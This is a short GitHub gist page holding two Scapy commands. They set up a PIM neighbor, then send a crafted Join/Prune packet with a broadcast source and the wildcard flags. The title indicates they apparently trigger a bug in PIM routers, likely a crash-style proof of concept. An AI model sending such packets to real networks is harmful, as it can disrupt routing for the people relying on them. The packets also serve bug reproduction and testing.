Created
April 6, 2021 21:54
-
-
Save qlyoung/03561ee87e16b67de652731f839a1333 to your computer and use it in GitHub Desktop.
pim routers hate this one simple trick
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# establish neighbor | |
sendp(Ether()/IP(dst="224.0.0.13")/PIMv2Hdr()/PIMv2Hello()/PIMv2HelloHoldtime(holdtime=65535) | |
# join group | |
sendp(Ether()/IP(dst="224.0.0.13")/PIMv2Hdr()/PIMv2JoinPrune(num_group=1, jp_ips=[PIMv2GroupAddrs(gaddr='224.0.171.18', num_joins=1, join_ips=[PIMv2JoinAddrs(src_ip='255.255.255.255', wildcard=1, rpt=1)])]), iface="veth1") |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment